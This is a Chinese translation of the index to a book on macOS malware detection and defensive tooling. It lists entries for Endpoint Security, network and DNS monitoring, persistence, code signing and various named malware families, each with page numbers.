  • 撤销,77

  • 运行进程和,95–96

  • XPC 和,268–271

  • codesign 工具,78–79,85,93,129,256

  • CoinMiner 恶意软件,8,33

  • CoinTicker 恶意软件,317

  • Coldroot 恶意软件,28–29,63

  • com.apple.developer.endpoint-security.client 权限,xxvii,180

  • com.apple.quarantine 扩展属性,316–317

  • Contents/Library/SystemExtensions/ 目录,299,303

  • CoreMediaIO 框架,285–286

  • 添加属性监听器,285

  • 核心媒体 I/O 子系统,142,151–152,289–291

  • CPU 利用率,进程,35–36

  • 计算 CPU 使用百分比,35–36

  • 风味参数,35

  • 流式日志消息,151

  • CreativeUpdate 恶意软件,79,84

  • Crisis 恶意软件,142,280,314

  • CrowdStrike,9,320

  • CSCommon.h 文件,97

  • D

  • DA* API,56–57

  • 数据收集, 1–2. 另见 代码签名; 网络状态和统计; 解析二进制文件; 进程

  • 持久化, 119–137

  • 背景任务管理, 123–136

  • DazzleSpy 恶意软件, 121–123

  • DumpBTM 项目, 130–137

  • LaunchAgents 目录, 121–123

  • WindTail 恶意软件, 120–121

  • DazzleSpy 恶意软件, 7, 23, 33, 127, 220

  • 代码签名, 324

  • 漏洞检测, 315–317

  • 提取符号, 59–60, 62

  • 网络访问, 319

  • 持久化和, 121–123, 317–319

  • 默认静音设置, 210

  • 委托和委托方法

  • DNSMonitor, 301

  • 网络监控, 168, 172

  • 系统扩展, 161, 163

  • XPC, 266

  • 依赖关系, 二进制

  • 分析, 56–59

  • 查找依赖路径, 54–56

  • 打包器检测和, 63

  • 反序列化, 130–134

  • 检测启发式方法. 另见 基于启发式的检测方法

  • 设备连接和断开, 286–288

  • 禁用

  • Apple 移动文件完整性, xxvii, 160, 181

  • 系统完整性保护, xxvii, 160, 181

  • DiskArbitration 框架, 54, 56

  • 磁盘映像

  • 临时签名, 80

  • 证书颁发机构链, 81

  • 代码对象引用, 80–81

  • 代码签名和, 78–84

  • 提取代码签名信息, 79–82

  • 手动验证签名, 78–79

  • 公证状态, 82–84

  • 静态代码引用, 80

  • 详细输出, 79

  • dispatch_semaphore_wait API, 216

  • DNS 缓存转储, 304–307

  • DNSMonitor, 297–311

  • 阻止 DNS 流量, 307–310

  • 分类终端, 310

  • DNS 缓存转储, 304–307

  • 域名注册商, 310

  • 历史 DNS 记录, 310

  • 进程间通信, 303–304

  • 网络扩展, 298–303

  • 打印 DNS 数据包到通用日志, 303–304

  • 配置文件, 298–299

  • DNS 监控, 157–169

  • 激活系统扩展, 160–161

  • 识别责任进程, 168–169

  • NetworkExtension 框架, 159–160

  • 解析 DNS 请求, 164–165

  • 解析 DNS 响应, 165–168

  • 编写系统扩展, 162–169

  • DNSProxyProvider 类, 303

  • Dock, 19, 301

  • Documents 目录

  • 监控文件打开事件, 211–212

  • WindTail 恶意软件及, 227

  • 域名注册商, 310

  • 虚拟恶意软件, 102–103, 111, 117, 159, 169

  • DumpBTM 项目, 130–137

  • 访问元数据, 134–135

  • 反序列化文件, 131–134

  • 查找数据库路径, 130–131

  • 识别恶意项, 135–136

  • KnockKnock 工具及, 241

  • 在你自己的代码中使用 DumpBTM, 136–137

  • dyld 缓存, 86–87, 145

  • dyld-shared-cache-extractor 工具, 87

  • dylib 劫持, 217, 249

  • dylib 插入, 246–248

  • dylib 代理, 249–252

  • E

  • Eleanor 恶意软件, 280

  • Electron 框架, 249

  • ElectroRAT, 8

  • 加密二进制文件, 70–71

  • 字节序, 41, 43, 50–51

  • 终端, DNSMonitor, 310

  • 终端安全, 179–203

  • 授权事件, 213–222

  • 客户端, 185

  • 检测隔离属性的移除, 316

  • 权限, 254–256

  • 事件, 182–184

  • 授权事件, 183, 213–222

  • 事件处理, 185–190

  • 静音反转, 209–212

  • 静音, 206–212

  • 打印文件打开的终端安全事件, 212

  • 概念验证文件保护器, 223–228

  • 文件监控, 200–203

  • 处理块, 185

  • 头文件, 182–183

  • 静音反转, 209–212

  • 静音事件,206–212

  • 前提条件,191

  • 进程监控,190–200

  • 概念验证文件保护器,223–228

  • 工作流,180–190

  • EndpointSecurity.h 头文件, 182

  • 权限

  • 申请,254

  • BlockBlock 工具,254–256

  • com.apple.developer.endpoint-security .client, xxvii,180

  • 在 Xcode 中启用,255–256

  • 配置文件,255

  • 注册应用 ID,254–255

  • 加密二进制文件,70

  • 打包的二进制文件,67–70

  • enumerateProcesses 项目,4。 参见 进程

  • 环境信息,进程,19–24

  • 将进程信息转换为字符串对象,22–23

  • 创建共享内存对象,20

  • 声明所需变量,20

  • 提取全局数据,21

  • 提取响应数据的大小,22

  • 解析函数指针,21

  • 跟踪进程 ID 回到启动项属性列表,23–24

  • e_ppid 成员,进程层级,14–15

  • 错误代码,代码签名,97

  • ESClient.h 头文件,182

  • ES_EVENT_TYPE_AUTH_DELETEEXTATTR 事件,219

  • ES_EVENT_TYPE_AUTH_* 事件,201–202

  • ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM _ADD 事件,261–262

  • ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM _REMOVE 事件,261

  • ES_EVENT_TYPE_NOTIFY_CLOSE 事件,202

  • ES_EVENT_TYPE_NOTIFY_CREATE 事件,201

  • ES_EVENT_TYPE_NOTIFY_EXEC 事件,184–186,193–194,197–198,221

  • ES_EVENT_TYPE_NOTIFY_RENAME 事件,202

  • ES_EVENT_TYPE_NOTIFY_UNLINK 事件,202

  • es_invert_muting API,210

  • eslogger 工具,183–184,186

  • ESMessage.h 头文件,182,185,201

  • es_message_t 结构体,185–186,201,216

  • es_muted_paths_events API,210

  • es_mute_process API, 208

  • es_mute_process_events API,208

  • ESPlayground 项目,180–182,190,205,207,211–213,215,223,227

  • ESTypes.h 头文件,182,206,210,215

  • EvilQuest 恶意软件,79,84–85,93

  • 可执行压缩程序,xxii,62–67

  • 执行架构,进程,32–34

  • 执行状态,进程,32

  • 数据外泄,157,326

  • 退出状态,端点安全进程监控,199

  • 漏洞检测,315–317

  • F

  • 错误警报,代码签名,75,96–97

  • 大型二进制文件。 通用二进制文件

  • 文件监控

  • 端点安全,200–203

  • 3CX 供应链攻击,320–322

  • 文件保护器,端点安全,223–228

  • 允许所有文件访问,224–225

  • 拒绝所有文件访问,225

  • 提取进程路径和文件路径,225–226

  • 授予平台和公证进程文件访问权限,226–227

  • 文件工具,40

  • 数据提供者过滤器,159,170–176

  • 启用,170–171

  • 查询流,173–174

  • 运行监控,174–176

  • 为其编写扩展,171–172

  • Finder,19,212,301

  • 闪回恶意软件,246,248

  • FruitFly 恶意软件,xxii,142,279–280,314

  • 完全限定域名(FQDN),164

  • G

  • Genieo 恶意软件,11

  • getaddrinfo API,110

  • GetProcessForPID API,17–19

  • H

  • HackingTeam 安装程序,70–71

  • 处理程序块,端点安全,185

  • 头文件,端点安全,182–183

  • 基于启发式的检测方法。另见 代码签名;Objective-See 工具

  • 代码签名和,76

  • CPU 使用率,35–36

  • 检测混淆,62

  • 其缺点,xxii

  • 假阳性,xxii,75,96–97

  • 文件监控,200

  • 隐藏目录和,6–7

  • 网络监控,174

  • 保护用户主目录中的文件,225

  • 层级,进程,13–19

  • Endpoint Security 进程监控,193

  • 父级,14–17

  • 使用应用程序服务 API 检索信息,17–19

  • 历史 DNS 记录,310

  • Hopper,87,145

  • 主机级数据收集,102

  • 如何在不感染的情况下逆向分析恶意软件(Stokes),xxviii

  • I

  • Info.plist 文件

  • 浏览器扩展,245–246

  • 检查二进制文件来源,218

  • DNSMonitor,299–300,303

  • 动态库插入,248

  • 编写系统扩展,171

  • 集成开发环境(IDE),xxvi

  • Intel 二进制文件,32

  • Internet Protocol(IP)套接字,107,109–110

  • 进程间通信(IPC)

  • AF 套接字,105

  • DNSMonitor,303–304

  • XPC,265

  • 隐形互联网项目(I2P),8

  • IPStorm 恶意软件,63,66,69,142

  • iWebUpdate 二进制文件,11,158,167–168

  • J

  • JSON

  • 构建 JSON 格式的字符串,240

  • 将对象属性转换为,238–240

  • KnockKnock 输出,247

  • K

  • KeRanger 恶意软件,7

  • KERN_PROCARGS2 值,11–12

  • KeySteal 恶意软件,86,93

  • kill 系统 API,32

  • kinfo_proc 结构体,进程层级,14–15

  • KnockKnock 工具,233–252

  • 背景任务管理,241–242

  • 浏览器扩展,242–245

  • 使用构建已加载库列表,249

  • 命令行选项,235

  • DazzleSpy 和,319

  • 确定项目是否为二进制文件,250

  • dylib 劫持,249

  • dylib 插入,246–248

  • dylib 代理,249–252

  • 枚举运行进程的依赖,251

  • ItemBase 类,238

  • 持久项类型, 238–240

  • 插件, 235–237, 240–252

  • 正向检测/杀毒引擎, 240

  • system_profiler 方法, 247

  • 用户界面, 234–235

  • kNStatSrcKeyRxBytes 键, 117

  • kNStatSrcKeyTxBytes 键, 117

  • kp_eproc 结构体, 进程层次结构, 14–15

  • kSecCodeInfoCertificates 键, 81–82

  • kSecCodeInfoFlags 键, 82

  • L

  • LaunchAgents 目录, 121–123

  • launchctl 工具, 19–20

  • 启动守护进程, 121, 257–258。另见 持久性

  • Launch Services API, 243, 246

  • Lazarus APT 组, 13–14

  • LC_SYMTAB 加载命令, 60

  • 叶子签名, 90

  • libproc API, 4

  • /Library/SystemExtensions// 库, 303

  • 监听器, XPC, 265–266

  • 加载命令, Mach-O 二进制文件, 53

  • 已加载的库

  • 使用 KnockKnock 构建列表, 249

  • 枚举, 24–28

  • LoggingSupport 框架, 145–146, 148, 152, 289

  • 日志监控, 141–152

  • 提取日志对象属性, 148–151

  • 远程登录, 142

  • 资源消耗, 151–152

  • 流式日志数据, 146–148

  • TCC 机制, 142–143

  • 统一日志系统, 143–146

  • 网络摄像头访问, 142

  • lsof 工具, 30–31

  • LSSharedFileListCreate API, 120

  • LSSharedFileListInsertItemURL API, 120

  • LuLu 软件, 78–79, 84, 170, 307, 319, 326

  • M

  • Macho* API, 47–50

  • Mach-O 二进制文件

  • 代码签名及, 93–95

  • 提取依赖关系, 54–59

  • 提取符号, 59–62

  • 加载命令, 53

  • Mach-O 头部, 50–52

  • 切片, 40, 43, 47–50

  • 通用二进制文件, 39–50

  • mach_timebase_info API, 216

  • MacStealer 恶意软件, 209–210, 212, 225

  • 恶意网络活动, 102–105

  • 恶意软件清除工具 (MRT), 76–77

  • 管理信息库 (MIB) 数组, 11

  • 元数据, 访问, 134–135

  • 麦克风, 282–285。另见 音频监控

  • Microsoft AutoRuns 工具, 233

  • Mokes 恶意软件, 57–58, 142, 280, 314

  • MRT (恶意软件清除工具), 76–77

  • 静音反转, Endpoint Security, 209–212

  • 审计令牌和, 210

  • 默认静音设置和, 210

  • 监控目录访问, 211–212

  • 静音事件, Endpoint Security, 206–212

  • N

  • 名称错误, DNS 流量, 309

  • 名称, 进程, 8–9

  • NEDNSProxyManager 对象, 161–162

  • NEFilterFlow 对象, 172–174

  • NEFilterManager 对象, 170–171

  • NEFilterSocketFlow 对象, 174

  • NENetworkRule 对象, 172

  • netbottom 命令行工具, 112

  • Netiquette 工具, 104

  • nettop 工具, 112, 156

  • 网络访问, DazzleSpy, 319

  • 基于网络的数据收集, 102

  • 网络扩展, DNSMonitor, 302–303

  • NetworkExtension 框架, xxiii, 111–117, 159–160, 297–301

  • 激活, 159–160

  • DNS 监控, 157–169

  • 过滤数据提供者, 169–175

  • 识别责任进程, 168–169

  • 方法, 163

  • 前提条件, 159, 298

  • 网络监控, 155–176

  • DNS 监控, 157–169

  • 过滤数据提供者, 169–175

  • 快照, 156–157

  • 3CX 供应链攻击, 322–323

  • 网络套接字, 106–111

  • 网络状态和统计数据, 101–118。另见 NetworkStatistics 框架

  • 捕获, 105–111

  • 提取网络套接字, 106–107

  • 基于主机与基于网络的收集, 102

  • 恶意网络活动, 102–105

  • 检索进程文件描述符, 106

  • 套接字详情, 107–111

  • NetworkStatistics 框架, 111–112

  • 回调逻辑, 114–115

  • 创建网络统计管理器, 113–114

  • kNStatSrcKeyRxBytes 键, 117

  • kNStatSrcKeyTxBytes 键, 117

  • 链接到, 113

  • 查询, 115

  • 公证

  • 检测, 77

  • 磁盘镜像, 82–84

  • 包, 91–92

  • 通知事件, 183–184, 200–203

  • 添加设备, 286–287

  • 移除设备, 286–287

  • NSRunningApplication 对象, 8–9

  • NSTask API, 26

  • NStatManagerCreate API, 113

  • NStatManagerQueryAllSources 描述 API, 156–157

  • NSUserDefaults 类, 292

  • NSXPCConnection 类, 267

  • NSXPCListenerDelegate 协议, 265–266

  • NukeSped 恶意软件, 7

  • NX* API, 42–47

  • NXDOMAIN 响应, DNS 流量, 309–310

  • O

  • Objective-C 语言, xxvi, 59

  • 提取日志对象属性, 148–151

  • performSelector: 方法, 134

  • 私有类, 89

  • Objective-See 工具, xxiv, 231–232

  • BlockBlock 工具, 253–276

  • DNSMonitor, 297–311

  • KnockKnock 工具, 233–252

  • LuLu 软件, 78–79, 84, 170, 307, 319, 326

  • Oversight 工具, 280–295

  • TaskExplorer, 25

  • OceanLotus 恶意软件, 317

  • 打开的文件, 28–31

  • lsof 工具, 30–31

  • proc_pidinfo API, 29–30

  • oRAT 恶意软件, 33, 63, 104–105

  • os_log_create API, 303

  • OSLogEventProxy 对象属性, 150–151

  • OSSystemExtensionRequest 类, 161

  • OSSystemExtensionRequestDelegate 协议, 161

  • otool 命令

  • 确认代码准确性, 45

  • 检测加密的二进制文件, 70

  • 枚举网络连接, 112

  • 查找依赖路径, 56

  • Mach-O 头部和, 52

  • 逆向工程日志 API, 145

  • OverSight 工具, 280–295

  • Block 选项, 280

  • 摄像头监控, 285–286

  • 设备连接和断开, 286–288

  • 禁用, 293–294

  • 执行用户操作, 292–293

  • 提取属性值, 285

  • 过滤 cmio 和 coremedia 消息, 290

  • LogMonitor 类, 289–290

  • 麦克风监控, 282–284

  • 解析消息以检测负责进程, 291

  • 谓词评估, 151–152

  • 属性监听器, 281–286

  • 负责进程识别, 288–291

  • 示例工具, 288

  • 脚本和, 291–293

  • 停止, 293

  • P

  • PackageKit 框架, 86–89

  • 访问框架函数, 88–89

  • 代码签名和, 84–93

  • 公证状态, 91–92

  • 逆向工程 pkgutil 工具, 86–88

  • 验证, 90–91

  • 打包的二进制文件, 62–70

  • 计算熵, 67–70

  • 依赖关系, 63

  • 区段和段名称, 63–67

  • 符号, 63

  • 压缩器(可执行压缩器), xxii, 62–67

  • Palomino Labs, 105

  • Parallels, xxviii

  • 父层级, 14–17

  • ParentPSN 键, 19

  • 解析二进制文件

  • 提取依赖关系, 54–59

  • 提取符号, 59–62

  • 加载命令, 53

  • Mach-O 二进制文件, 50

  • 打包的二进制文件, 62–70

  • 通用二进制文件, 39–50

  • 路径, 进程, 6–8

  • 已删除的二进制文件, 7–8

  • 识别隐藏的文件和目录, 6–7

  • 持久性, 119–137

  • 后台任务管理, 123–136

  • BlockBlock, 258–264

  • DazzleSpy 恶意软件, 121–123, 317–319

  • DumpBTM 项目, 130–137

  • KnockKnock, 240–251

  • LSSharedFileListCreate API, 120

  • LSSharedFileListInsertItemURL API, 120

  • ProgramArguments 键, 122

  • RunAtLoad 键, 122–123

  • WindTail 恶意软件, 120–121

  • 持久性枚举器。参见 KnockKnock 工具

  • 持久性监控器。参见 BlockBlock 工具

  • 持久性项类型, KnockKnock 工具, 238–240

  • pkgutil 工具, 78

  • 包的公证, 91

  • 逆向工程, 86–89

  • 验证签名, 84–86

  • 插件

  • BlockBlock 工具, 258–261

  • KnockKnock 工具, 235–237

  • 基础扫描方法, 236

  • 通过名称初始化, 237

  • 基类插件方法, 236

  • 基类插件的属性, 236

  • 更新持久项的全局列表, 237

  • 正检测/病毒引擎, 240

  • 进程, 3–38

  • 参数, 9–13

  • 审计令牌, 5–6

  • 代码签名和, 24, 95–96

  • CPU 使用率, 35–36

  • 枚举, 4–5

  • 环境信息, 19–24

  • 执行架构, 32–34

  • 执行状态, 32

  • 已加载的库, 24–28

  • 打开的文件, 28–31

  • 路径, 6–8

  • 进程层次结构, 13–19

  • 启动时间, 34–35

  • 验证名称, 8–9

  • 进程文件描述符, 检索, 106

  • ProcessInformationCopyDictionary API, 18–19

  • 进程监控, Endpoint Security, 190–200

  • 参数, 197–199

  • 审计令牌, 192

  • 二进制架构, 194–195

  • 代码签名, 195–197

  • 退出状态, 199

  • 提取进程信息, 192

  • 提取进程对象, 191–192

  • 层次结构, 193

  • 进程路径, 192–193

  • 脚本路径, 193–194

  • 停止客户端, 199–200

  • 订阅事件, 191

  • 进程监控, 3CX 供应链攻击, 323–325

  • 进程序列号, 17–19

  • procinfo 命令行选项, 19–20

  • proc_listallpids API, 4–5

  • proc_pid* API, 102, 105–107, 111

  • proc_pidinfo API, 29–30

  • PROC_PIDPATHINFO_MAXSIZE 常量, 6

  • proc_pid_rusage API, 35

  • ProgramArguments 键, 122

  • 属性监听器, 281–286

  • 音频监控, 282–285

  • 摄像头监控, 285–286

  • 配置文件

  • BlockBlock 工具, 255–256

  • DNSMonitor, 298–299

  • NetworkExtension 框架, 160

  • psi 结构, 108

  • Q

  • qtn_file_* API,218

  • R

  • 勒索软件,7,120,139,200

  • 被编辑的 WHOIS 数据,310

  • 远程访问工具(RATs)

  • CoinMiner,8

  • ColdRoot,28–29,63

  • ElectroRAT,8

  • 启用远程连接,271–272

  • remoteEndpoint 实例变量,173–174

  • 远程登录,142

  • 远程方法,XPC,275–276

  • request:actionForReplacingExtension:withExtension: 委托方法,161

  • request:didFailWithError: 委托方法,161

  • request:didFinishWithResult: 委托方法,161

  • requestNeedsUserApproval: 委托方法,161

  • 资源,xxix

  • respondsToSelector: 方法,89

  • 响应包,DNS 流量,308

  • responsibility_get_pid_responsible _for_pid API,16–17

  • 负责任的过程识别,16–19,168–169,174,188–189,193,226,288–291

  • 逆向工程

  • 活动监视器工具,30

  • 日志 API,145–146

  • pkgutil 工具,86–89

  • 撤销,77

  • rShell 恶意软件,33

  • RunAtLoad 键,122–123

  • S

  • Safari 浏览器扩展,243–245

  • 枚举,243

  • 解析包含的输出,245

  • URLsForApplicationsToOpenURL: 方法,243

  • 示例工具,288

  • SCDynamicStoreCopyConsoleUser API,211

  • 脚本,193–194,291–293

  • SecAssessmentCreate API,83,94

  • SecAssessmentTicketLookup API,83,91–92

  • SecCodeCopyGuestWithAttributes API,95

  • SecCodeCopyPath API,96

  • SecCodeCopySigningInformation API,81

  • SecRequirementCreateWithString API,82

  • SecStaticCodeCheckValidity API,81–83,93–94,97

  • SecStaticCodeCreateWithPath API,80

  • 段名和节名,打包的二进制文件,63–67

  • SecTranslocateIsTranslocatedURL API,217–218

  • 自删除恶意软件,325

  • 序列化,126–127

  • sfltool 工具, 127–130

  • Shazam, 313–315

  • Shlayer 恶意软件, 9, 213, 242

  • SIGUSR1 信号,DNS 流量, 305–306

  • SIP. 参见 系统完整性保护

  • 切片,Mach-O 二进制文件, 40, 43, 47–50

  • 快照, xxviii, 101, 112, 115, 139, 155–157

  • soi_proto 结构,套接字, 108

  • Spotlight 服务, 206–207, 246

  • startSystemExtensionMode 方法, 162–163

  • 启动时间,进程, 34–35

  • swap_* APIs, 43–44

  • Swift 语言, xxvi

  • 符号,二进制

  • 提取, 59–62

  • 压缩的二进制文件, 63

  • sysctl API, 11, 15, 34

  • sysctlbyname API, 4

  • sysctlnametomib API, 34

  • 系统扩展. 另见 NetworkStatistics 框架

  • 激活, 160–161

  • 权限, 298–300

  • 确定责任进程, 168–169

  • 前置条件, 160

  • 写入, 162–169

  • 系统完整性保护(SIP), 254

  • 禁用, xxvii, 160, 181

  • 权限与, xxvii

  • 在恢复模式下重新启用, xxviii

  • 系统监控. 参见 终端安全; 日志监控; 网络监控

  • 系统偏好设置应用程序, 123–124

  • system_profiler, 247

  • T

  • TAOMM 仓库, xxv

  • TaskExplorer 工具, 25

  • TCC(透明性、同意与控制)机制, 142–143, 223, 292

  • TCP 协议

  • 查询网络事件统计信息, 115

  • 套接字, 105, 108

  • 3CX 供应链攻击, 310, 319–326

  • BlockBlock 工具, 324–325

  • 代码签名, 323–324

  • DNS 监控与, 158–159

  • 外泄, 326

  • 文件监控, 320–322

  • 网络监控, 322–323

  • 进程监控, 323–325

  • 自删除, 325

  • 转移, 217–218

  • 传输层安全性 (TLS) 包, 105

  • U

  • UDP 协议

  • DNS 流量, 163

  • 查询网络事件统计信息, 115

  • 套接字, 105, 108

  • 通用二进制文件, 39–50

  • fat_arch 结构, 41–47

  • FAT_CIGAM 值, 41, 43–44

  • fat_header 结构, 40–41, 43–47

  • 检查, 40–42

  • Macho* API, 47–50

  • NX* API, 42–47

  • 解析, 42

  • swap_* API, 43–44

  • 通用日志子系统, 143–146

  • DNSMonitor, 303–304

  • 手动接口交互, 144–145

  • 监管工具和, 288–289

  • 逆向工程日志 API, 145–146

  • URLsForApplicationsToOpenURL: 方法, 243

  • V

  • verifyReturningError: 方法, 90

  • 虚拟机

  • 安全地分析恶意软件, xxvii–xxviii

  • 禁用 SIM 和 AMFI, 160

  • VirusTotal, 168, 234, 239–240, 242, 319

  • vmmap 工具, 24–26

  • VMware, xxviii

  • W

  • 网络摄像头访问, 142. 另请参阅 监管工具

  • WindTail 恶意软件, 95, 120–121, 227, 242

  • Wireshark, 127, 135, 158

  • 工作流, 端点安全, 180–190

  • 客户端, 185

  • 事件处理, 185–190

  • 感兴趣的事件, 182–184

  • 处理程序块, 185

  • X

  • Xcode, xxvi, 255–256

  • XCSSET 恶意软件, 142, 223, 317

  • XPC, 265–275

  • 授权客户端, 269–271

  • 客户端要求, 270–271

  • 委托, 266

  • 提取审计令牌, 266–268

  • 启动连接, 274

  • 监听器, 265–266

  • 方法, 272–274

  • 协议, 271–273

  • 远程连接, 271–272

  • 远程方法, 275–276

  • 验证客户端, 268–271

  • XProtect, 150, 183, 280

  • Y

  • Yort 恶意软件, 13–14

  • Z

  • 僵尸进程, 32

  • ZuRu 恶意软件, 24–28, 58–59, 63

posted @ 2025-11-26 09:19  绝不原创的飞龙  阅读(0)  评论(0)    收藏  举报